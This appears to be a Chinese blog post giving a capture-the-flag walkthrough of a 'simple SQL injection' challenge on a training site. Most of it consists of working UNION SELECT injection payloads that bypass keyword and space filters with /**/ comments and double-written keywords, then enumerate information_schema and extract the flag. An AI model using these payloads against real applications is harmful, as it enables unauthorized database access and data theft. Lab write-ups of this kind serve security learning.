實驗吧簡單的SQL注入1,簡單的SQL注入

接上面一篇博客。web

實驗吧簡單的sql注入1sql

題目鏈接   http://ctf5.shiyanbar.com/423/web/測試

 

一樣,直接輸入 1加個但引號,結果下面有返回錯誤,              ,         有錯,因此估計這裏應該是要閉合,字符行注入,可是這個標題,到底過濾了什麼,目前我還不知道過濾了什麼,因此先搞一下。。ui

輸入  1' and 1=1#  按理說應該是返回正常,結果返回了一個錯誤 3d

‘#‘  被過濾了,那好 還有其餘姿式,輸入   1’ and '1'='1orm

結果也錯,怎麼回事? 換or試一試  用 1’ or '1'='1blog

出現全部數據,可是and不行,因此估計是and被過濾了  看看是否是被過濾了 雙寫一下  1' andand '1'='1博客

輸入兩個and 結果只出現一個and ,肯定and是被過濾了,並且後面那個空格也過濾了io

沒事,這裏想到用/**/繞過過濾,用uniontable

1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1

 

 說老實話我不知道爲何這裏的database()用不起,大神指點一下.

 接下來爆代表

1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1

獲得表名 flag

 

接下來爆字段名

1'/**/union/**/select/**/column_name/**/from/**/information_schema.coluinformation_schema.columnsmns/**/where/**/table_name='flag

可是不行 被報錯 

 

 把information_schema.coluinformation_schema.columnsmns 給我過濾了,這裏用雙寫,可是雙寫發現也會被過濾,能夠啊,那我把一部分寫在中間  

1'/**/union/**/select/**/column_name/**/from/**/information_schema.coluinformation_schema.columnsmns/**/where/**/table_name='flag

結果仍是報錯,多是起那面column_name也過濾了 ,這裏把column_name也雙寫

1'/**/union/**/select/**/column_nacolumn_nameme/**/from/**/information_schema.coluinformation_schema.columnsmns/**/where/**/table_name='flag

這裏出現字段名flag。

接下來直接 1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1

 

拿到flag 

 

第二道題 用前兩句同樣能夠拿到庫名和代表,只是第三句爆字段名的時候不用雙寫

1'/**/union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='flag

 

也能夠拿到代表和字段名  也是flag 和flag

 

1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1

 

也能夠拿到答案

 關於簡單的sql注入3,我暫時還不會,fuzz測試還沒學會,過兩天會更新,必定會學會

相關文章
相關標籤/搜索